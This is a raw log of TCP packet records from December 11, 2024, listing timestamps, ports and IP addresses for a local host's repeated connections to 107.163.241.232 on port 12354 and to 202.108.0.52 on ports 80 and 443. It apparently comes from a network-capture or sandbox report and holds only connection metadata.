Dec 11, 2024 16:27:02.051217079 CET	12354	62583	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:02.051362038 CET	62583	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:02.051911116 CET	62583	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:02.171988964 CET	12354	62583	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:03.334213972 CET	62581	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:03.334270954 CET	62573	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:03.334602118 CET	62583	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:03.336132050 CET	63454	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:03.451145887 CET	61005	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:03.451567888 CET	63491	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:03.452824116 CET	63492	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:03.455476046 CET	12354	63454	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:03.455673933 CET	63454	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:03.455867052 CET	63454	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:03.571024895 CET	80	63491	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:03.571042061 CET	80	61005	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:03.571151018 CET	61005	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:03.571160078 CET	63491	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:03.572479963 CET	12354	63492	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:03.575371027 CET	12354	63454	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:03.575375080 CET	63491	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:03.575510979 CET	63492	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:03.580071926 CET	63492	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:03.699366093 CET	80	63491	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:03.703358889 CET	12354	63492	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:05.148854971 CET	80	63491	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:05.148921013 CET	63491	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:05.153364897 CET	64611	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:05.153425932 CET	443	64611	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:05.153498888 CET	64611	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:05.154336929 CET	64611	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:05.154350042 CET	443	64611	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:05.582134008 CET	12354	63454	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:05.582238913 CET	63454	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.588711023 CET	63454	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.589271069 CET	65033	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.690104008 CET	12354	63492	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:05.690187931 CET	63492	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.692924023 CET	63492	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.698179007 CET	65127	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.708539963 CET	12354	63454	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:05.708895922 CET	12354	65033	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:05.709002018 CET	65033	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.714147091 CET	65033	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.812287092 CET	12354	63492	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:05.817790985 CET	12354	65127	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:05.820508003 CET	65127	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.821299076 CET	65127	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:05.834347010 CET	12354	65033	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:05.940520048 CET	12354	65127	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:06.865912914 CET	443	64611	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:06.865978956 CET	64611	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:06.866708040 CET	443	64611	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:06.866815090 CET	64611	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:06.876945019 CET	64611	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:06.876993895 CET	443	64611	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:06.877044916 CET	64611	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:06.998400927 CET	63491	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:06.998800039 CET	49924	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:07.118994951 CET	80	63491	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:07.119014025 CET	80	49924	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:07.119090080 CET	63491	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:07.119134903 CET	49924	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:07.119528055 CET	49924	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:07.239276886 CET	80	49924	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:07.349767923 CET	49924	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:07.349982023 CET	65033	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:07.349982977 CET	65127	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:07.350663900 CET	50256	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:07.463140965 CET	50429	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:07.464704037 CET	50430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:07.470004082 CET	12354	50256	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:07.470119953 CET	50256	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:07.470454931 CET	50256	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:07.582451105 CET	80	50429	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:07.582542896 CET	50429	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:07.583343983 CET	50429	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:07.583976030 CET	12354	50430	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:07.584050894 CET	50430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:07.585263014 CET	50430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:07.589865923 CET	12354	50256	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:07.702620029 CET	80	50429	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:07.704576969 CET	12354	50430	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:09.180619001 CET	80	50429	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:09.180705070 CET	50429	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:09.184592962 CET	51662	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:09.184637070 CET	443	51662	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:09.184703112 CET	51662	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:09.186429977 CET	51662	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:09.186446905 CET	443	51662	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:09.596035004 CET	12354	50256	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:09.596215963 CET	50256	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.609760046 CET	50256	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.610249043 CET	52169	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.705512047 CET	12354	50430	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:09.705877066 CET	50430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.705998898 CET	50430	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.728342056 CET	52266	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.729434013 CET	12354	50256	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:09.729938030 CET	12354	52169	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:09.730144024 CET	52169	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.735340118 CET	52169	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.825313091 CET	12354	50430	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:09.847855091 CET	12354	52266	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:09.848761082 CET	52266	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.848761082 CET	52266	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:09.854784012 CET	12354	52169	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:09.967998028 CET	12354	52266	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:10.928529978 CET	443	51662	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:10.928627968 CET	51662	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:10.929325104 CET	443	51662	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:10.929369926 CET	51662	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:11.067534924 CET	51662	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:11.067612886 CET	443	51662	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:11.067662001 CET	51662	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:11.405277967 CET	50429	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:11.405879974 CET	52674	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:11.408699036 CET	52266	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:11.409662962 CET	52676	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:11.409715891 CET	52169	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:11.525285006 CET	80	52674	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:11.525341988 CET	52674	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:11.525547028 CET	80	50429	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:11.525623083 CET	50429	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:11.529159069 CET	12354	52676	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:11.529231071 CET	52676	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:11.548702002 CET	52676	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:11.632364988 CET	52682	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:11.668189049 CET	12354	52676	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:11.753932953 CET	12354	52682	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:11.754067898 CET	52682	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:11.781723022 CET	52682	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:11.886672974 CET	52685	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:11.902947903 CET	12354	52682	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:12.006834030 CET	80	52685	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:12.006912947 CET	52685	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:12.010281086 CET	52685	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:12.129514933 CET	80	52685	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:13.575594902 CET	80	52685	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:13.575689077 CET	52685	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:13.641938925 CET	12354	52676	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:13.642067909 CET	52676	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:13.684323072 CET	52676	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:13.684972048 CET	53560	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:13.690653086 CET	53561	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:13.690701008 CET	443	53561	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:13.690929890 CET	53561	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:13.732434034 CET	53561	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:13.732456923 CET	443	53561	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:13.803569078 CET	12354	52676	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:13.804325104 CET	12354	53560	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:13.804498911 CET	53560	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:13.863080025 CET	12354	52682	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:13.863219023 CET	52682	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:13.872353077 CET	53560	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:13.873703957 CET	52682	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:13.883995056 CET	53566	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:13.992727995 CET	12354	53560	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:13.993616104 CET	12354	52682	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:14.003278017 CET	12354	53566	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:14.003442049 CET	53566	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:14.008095026 CET	53566	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:14.127657890 CET	12354	53566	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:15.552661896 CET	53561	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:15.552696943 CET	53560	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:15.553581953 CET	54654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:15.554294109 CET	53566	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:15.665971041 CET	54806	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:15.668972969 CET	52685	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:15.669310093 CET	54807	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:15.675065041 CET	12354	54654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:15.675144911 CET	54654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:15.675461054 CET	54654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:15.788582087 CET	12354	54806	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:15.788678885 CET	54806	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:15.791196108 CET	54806	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:15.792181969 CET	80	52685	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:15.792201996 CET	80	54807	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:15.792253017 CET	52685	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:15.792304039 CET	54807	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:15.792547941 CET	54807	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:15.799420118 CET	12354	54654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:15.917123079 CET	12354	54806	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:15.918174028 CET	80	54807	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:17.371720076 CET	80	54807	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:17.371850967 CET	54807	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:17.375123024 CET	56209	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:17.375174046 CET	443	56209	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:17.375521898 CET	56209	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:17.376380920 CET	56209	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:17.376411915 CET	443	56209	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:17.784574986 CET	12354	54654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:17.784768105 CET	54654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:17.784928083 CET	54654	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:17.785558939 CET	56588	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:17.904227018 CET	12354	54654	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:17.904798985 CET	12354	56588	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:17.907531977 CET	56588	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:17.909104109 CET	12354	54806	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:17.909240007 CET	54806	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:17.911220074 CET	56588	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:17.911484003 CET	54806	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:17.914273977 CET	56590	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:18.032685995 CET	12354	56588	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:18.034763098 CET	12354	54806	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:18.035300016 CET	12354	56590	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:18.035564899 CET	56590	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:18.035953045 CET	56590	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:18.155617952 CET	12354	56590	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:19.073853970 CET	443	56209	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:19.073932886 CET	56209	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.074640036 CET	443	56209	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:19.074692965 CET	56209	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.078674078 CET	56209	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.078732967 CET	443	56209	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:19.078859091 CET	56209	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.202649117 CET	54807	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.203105927 CET	57572	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.322397947 CET	80	54807	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:19.322458982 CET	54807	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.322506905 CET	80	57572	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:19.322616100 CET	57572	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.328058958 CET	57572	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.448261976 CET	80	57572	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:19.572319984 CET	56590	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:19.572345972 CET	57572	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.572400093 CET	56588	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:19.573246956 CET	57783	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:19.686975956 CET	57846	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.688389063 CET	57847	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:19.693284035 CET	12354	57783	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:19.693406105 CET	57783	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:19.693795919 CET	57783	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:19.806433916 CET	80	57846	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:19.806534052 CET	57846	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.807084084 CET	57846	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:19.807794094 CET	12354	57847	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:19.807885885 CET	57847	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:19.808249950 CET	57847	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:19.814083099 CET	12354	57783	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:19.926343918 CET	80	57846	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:19.927515984 CET	12354	57847	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:21.382781982 CET	80	57846	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:21.382942915 CET	57846	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:21.386308908 CET	58435	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:21.386368036 CET	443	58435	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:21.386526108 CET	58435	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:21.387285948 CET	58435	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:21.387299061 CET	443	58435	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:21.813126087 CET	12354	57783	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:21.813200951 CET	57783	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:21.813502073 CET	57783	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:21.814140081 CET	58774	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:21.925420046 CET	12354	57847	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:21.925533056 CET	57847	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:21.925884008 CET	57847	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:21.933810949 CET	12354	57783	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:21.934272051 CET	12354	58774	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:21.934781075 CET	58774	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:21.935432911 CET	58774	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:21.946535110 CET	58950	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:22.045166969 CET	12354	57847	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:22.054649115 CET	12354	58774	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:22.065841913 CET	12354	58950	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:22.066351891 CET	58950	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:22.067157984 CET	58950	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:22.186891079 CET	12354	58950	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:23.065521002 CET	443	58435	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:23.065587044 CET	58435	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.066307068 CET	443	58435	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:23.066344023 CET	58435	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.133217096 CET	58435	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.133295059 CET	443	58435	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:23.133358002 CET	58435	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.691008091 CET	58774	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:23.691008091 CET	58950	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:23.697287083 CET	59714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:23.715734959 CET	57846	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.716047049 CET	59717	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.817269087 CET	59730	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:23.818128109 CET	12354	59714	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:23.818223953 CET	59714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:23.821376085 CET	59714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:23.837435007 CET	80	59717	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:23.837497950 CET	80	57846	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:23.837532997 CET	59717	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.837565899 CET	57846	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.838906050 CET	59717	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:23.936722040 CET	12354	59730	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:23.937012911 CET	59730	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:23.938208103 CET	59730	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:23.940720081 CET	12354	59714	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:23.958437920 CET	80	59717	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:24.060502052 CET	12354	59730	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:25.404320955 CET	80	59717	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:25.404424906 CET	59717	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:25.407335997 CET	60663	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:25.407402992 CET	443	60663	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:25.407603979 CET	60663	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:25.409069061 CET	60663	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:25.409106016 CET	443	60663	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:25.924706936 CET	12354	59714	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:25.924813032 CET	59714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:25.986269951 CET	59714	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:25.986699104 CET	60988	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:26.050148964 CET	12354	59730	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:26.052459002 CET	59730	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:26.106494904 CET	12354	59714	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:26.106509924 CET	12354	60988	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:26.106688976 CET	60988	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:26.127711058 CET	59730	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:26.132550001 CET	60988	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:26.247145891 CET	12354	59730	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:26.251873970 CET	12354	60988	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:26.440072060 CET	60990	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:26.559380054 CET	12354	60990	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:26.559434891 CET	60990	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:26.561503887 CET	60990	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:26.682681084 CET	12354	60990	107.163.241.232	192.168.2.5
Dec 11, 2024 16:27:27.105354071 CET	443	60663	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:27.105422974 CET	60663	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.106142998 CET	443	60663	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:27.106189966 CET	60663	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.112072945 CET	60663	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.112159967 CET	443	60663	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:27.112330914 CET	60663	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.244679928 CET	59717	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.245249033 CET	61414	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.365041018 CET	80	59717	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:27.365184069 CET	80	61414	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:27.365211964 CET	59717	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.365276098 CET	61414	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.365823030 CET	61414	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:27:27.485734940 CET	80	61414	202.108.0.52	192.168.2.5
Dec 11, 2024 16:27:27.709445000 CET	60990	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:27:27.709482908 CET	60988	12354	192.168.2.5	107.163.241.232
